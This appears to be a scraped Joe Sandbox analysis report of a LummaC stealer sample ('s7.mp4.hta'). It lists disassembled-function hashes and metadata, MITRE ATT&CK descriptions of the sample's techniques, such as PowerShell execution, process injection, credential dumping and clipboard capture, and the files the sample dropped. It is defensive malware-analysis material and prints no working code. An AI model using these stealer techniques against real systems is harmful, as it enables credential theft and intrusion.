Instruction Fuzzy Hash: CE3101312047908BCB288F29C4913ABBBF1DB5A314F18596DC1D787782C33DA8868B58

Function 0041AB2A Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2ce6c0da914478739eba616fd4154f3e88796775ada538367235ffdeb7569ea
Instruction ID: 6e138cb6fd9e5e0f0caf11801ec2ce96e74ed1cdd16602e21eaa68cbd0470f93
Opcode Fuzzy Hash: a2ce6c0da914478739eba616fd4154f3e88796775ada538367235ffdeb7569ea
Instruction Fuzzy Hash: F52128705086C28FD7258B34C8507F3BBA1EF63308F18149ED1C387243E769A55AC769

Function 00438520 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 11cf033bb50aef6adb2bbe7b02e6cb6781f41557c363ff6b9b8f28e1f234bab9
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 8B11A933A052D40EC3168D3C8840565FFE30AD7635F69939EF4B49B2D2DA2ACD8A8359

Function 0042BB00 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c486ac2ce1ad100f0e38d66cbdf0be4d35fa78da5d65ee2e406166fba6341134
Instruction ID: 60ee57cc75265846ada0afa1f54ef24058dfca82aab4f0d1b8d5b1c2d5a04392
Opcode Fuzzy Hash: c486ac2ce1ad100f0e38d66cbdf0be4d35fa78da5d65ee2e406166fba6341134
Instruction Fuzzy Hash: 46019EB1B00B1157DB209E11A8D0B27B7A8AF85708F58443EE8445B746DB79FC05C2D9

Function 0041B184 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5902da4a83a0c680140072e5af1454c543d54360fc1713abbe1431a6a1abbba6
Instruction ID: c9cc8284e85fe6abf120993d5689944f48ac7ce1a7ddbbf0d82d0496898c4a81
Opcode Fuzzy Hash: 5902da4a83a0c680140072e5af1454c543d54360fc1713abbe1431a6a1abbba6
Instruction Fuzzy Hash: 6911D331104B508FD7248F25C8243A7BBE1AB56318F198A5DC1E7877D1DB7AE1098B44

Function 0041B173 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 153546a5fbbb63670836219b0711ac520bb9ba94bdbc265540c00f4ebd0ea963
Instruction ID: f399462e58419c9d3019aec57572db2d86c2935946d127ab36988b8cbde57321
Opcode Fuzzy Hash: 153546a5fbbb63670836219b0711ac520bb9ba94bdbc265540c00f4ebd0ea963
Instruction Fuzzy Hash: 6A0171745082828FD7128F2994206A6FBE0EF63314F1896C7D4D58BA83C368A985C7A9

Function 0041B882 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6779701cec66d85e342211494ba6ca2ab48124764d9d56f55accc6aa658e0e4
Instruction ID: 925483313e90eaab4478f3efb897dfea373d722ea9097d537696ebe3f586dc89
Opcode Fuzzy Hash: b6779701cec66d85e342211494ba6ca2ab48124764d9d56f55accc6aa658e0e4
Instruction Fuzzy Hash: B90184305082C28ED7128F2984207A6FFA0EF63314F1895C7D4D58F6C3C3689985C7A9

Function 0041BB21 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c35b802276cb4cab2e01238cfef8ad4f73f74ed2e8d92cb0ff5c3d327f1c90cc
Instruction ID: ce15afb6e8349f4df79a6844a38630f2605c57d7838470a331403b3b5471d388
Opcode Fuzzy Hash: c35b802276cb4cab2e01238cfef8ad4f73f74ed2e8d92cb0ff5c3d327f1c90cc
Instruction Fuzzy Hash: 6D01F2745082828EEB128F29D0107A7FBE0EF63314F18969AC4D58F6C3C379D885C7A9

Function 0040C3EC Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd38a00dc9aa6d99ca01aac821546609123fc2e2b8e046733f98ea8146a72aec
Instruction ID: c0b4a7645aed046faff80445a1a00849260a9e0a604dc3165cb580035c2becad
Opcode Fuzzy Hash: cd38a00dc9aa6d99ca01aac821546609123fc2e2b8e046733f98ea8146a72aec
Instruction Fuzzy Hash: C5110C7025C3808FD7148F54D9D576BBBE1ABD2304F244A2CD5C127292D7F5890987A7

Function 0041AEFF Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d4357f5d039b7e7fc8698bf40539a149331d6485b26d5a26d22b351b8adaedb
Instruction ID: 743bb6218d146487c45d38f060deef663a31a3ebd16d578a5b80eb567479d545
Opcode Fuzzy Hash: 6d4357f5d039b7e7fc8698bf40539a149331d6485b26d5a26d22b351b8adaedb
Instruction Fuzzy Hash: FA01A2205082C28EE7128F2984207B6FFA0EF63314F1896C7D4D58F6C3C3699985C7A9

Function 0040C334 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc8b52f0ebde1275c747968acf05f407d654f666dd441839f953e78bda0e1710
Instruction ID: 19ad3dfdcd8e9eec61f1e1188f3eb7c49d356ea6c47e6a039e33f49038878d3c
Opcode Fuzzy Hash: bc8b52f0ebde1275c747968acf05f407d654f666dd441839f953e78bda0e1710
Instruction Fuzzy Hash: 0D11087465C3808BD318CF18D9C075BBBE29BD6314F244A2CD5C117295C7B5990ACB6A

Function 0043F0E0 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 65c1ce22508b74340324c8a02d48ee1c4377d358a34bf29d9f5ad3061ed6f0ee
Instruction ID: 0c7a45b7bc69abfe1ea4a300e8af6adda297262347155a361b302868447e3dd6
Opcode Fuzzy Hash: 65c1ce22508b74340324c8a02d48ee1c4377d358a34bf29d9f5ad3061ed6f0ee
Instruction Fuzzy Hash: AFF0D635904214BBD5104F49EC81D37737DE7CE768F141329E514122A2A732AD1186A9

Function 00418672 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0bff55706ff93967b4313bb2a1d7a7ee9ee426091711acca18b712e24a09905
Instruction ID: c14077b8a130247762470a12415ef9365636b0c970e2bf5ce29861a99db5fcbf
Opcode Fuzzy Hash: d0bff55706ff93967b4313bb2a1d7a7ee9ee426091711acca18b712e24a09905
Instruction Fuzzy Hash: B2F08238502120EEC7588F189EC157D73A2F747311729147EC406A31A0DF34ACD2C90E

Function 0040CEC7 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41d706f10eab7f6aa9807f481bba08dd8ed5b6f7244fe64e6bd3362bb5ad2f88
Instruction ID: 7afc85315bce952cb7d9511845f2cfe5cc4fdaba4f93361a027a170bce18a72b
Opcode Fuzzy Hash: 41d706f10eab7f6aa9807f481bba08dd8ed5b6f7244fe64e6bd3362bb5ad2f88
Instruction Fuzzy Hash: B2E07D3461DA008BE218EF12D95543B73B2AF82308711587E91D3276D2CE78A806DB5D

Function 0042B652 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf2067ab6f32b58c45c9008d31a8987c58cfc8b8a777689b5c00e406fa9fe567
Instruction ID: 85f90f05b7cd9740f0dd11be4e47d539d37879f59d8f753959adedc7e492877d
Opcode Fuzzy Hash: bf2067ab6f32b58c45c9008d31a8987c58cfc8b8a777689b5c00e406fa9fe567
Instruction Fuzzy Hash: 72E08678B18231DBD6148F05F99163AB3A1EFD7305F98543F904657620E334AC02C68F

Function 0041F2A0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: 3e00189c545ef2cffbc0a4c45a62ec63a19577d5de140b8962752aa3758dc2ad
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: EDD0A7755487A10E9759CD3804A04B7FBE8E947612B1814EFE4D5E7205D239DC46469C

Function 0040D334 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0d29d2c066fb543f05896e7434625b03865aceeb40a931a3d9b644db311bfe7
Instruction ID: 8c6602917fdb956e33e5ed0c062c44bb8739f147fa9184780212f41d8b26cb24
Opcode Fuzzy Hash: c0d29d2c066fb543f05896e7434625b03865aceeb40a931a3d9b644db311bfe7
Instruction Fuzzy Hash: 50C04C69E6C4008B924CCB15AC5153266769B8B254715E03A841663255E234945B950D

Function 0042F0FD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 160COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 0042F23F

Strings

aN@, xrefs: 0042F2FC
#v, xrefs: 0042F23F

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: FreeLibrary
String ID: aN@$#v
API String ID: 3664257935-1204080873
Opcode ID: 6923c55db78119380e5fe35a3321c238481177c04641367e3fdf37507d6e1cbb
Instruction ID: fb7b49653fcfe6187a11668ca7033b53e8d7d933bb39412ee55706a61e0bd157
Opcode Fuzzy Hash: 6923c55db78119380e5fe35a3321c238481177c04641367e3fdf37507d6e1cbb
Instruction Fuzzy Hash: 5951777460C3C08BE3358B299C557ABBFE29FE2308F48096DE0D95B3D2DA74440AC75A

Function 0040BA80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00408A9E), ref: 0040BA86
FreeLibrary.KERNEL32 ref: 0040BAA7

Strings

#v, xrefs: 0040BA86, 0040BAA7

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: FreeLibrary
String ID: #v
API String ID: 3664257935-554117064
Opcode ID: 880272bc0811b14ab5181b2bf88990afbeca93da92f698920aa63cdcc06e2724
Instruction ID: 76f8199259777ce60f51c6d99c718f1815bb22ab62b72bec75753df54c08d8dc
Opcode Fuzzy Hash: 880272bc0811b14ab5181b2bf88990afbeca93da92f698920aa63cdcc06e2724
Instruction Fuzzy Hash: E2C0023B8620009BDE857FA0FD898187A31FB4A30531C44B4B80140036DAA20960AA59

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report s7.mp4.hta

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat.LOG1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3qyvjj0f.wfp.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5u0un3gb.1yc.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_buc5ncn0.zoj.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hocqv1k5.au5.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mawsinhw.vdl.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qjafhhwv.hfc.ps1

Windows Analysis Report
s7.mp4.hta

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre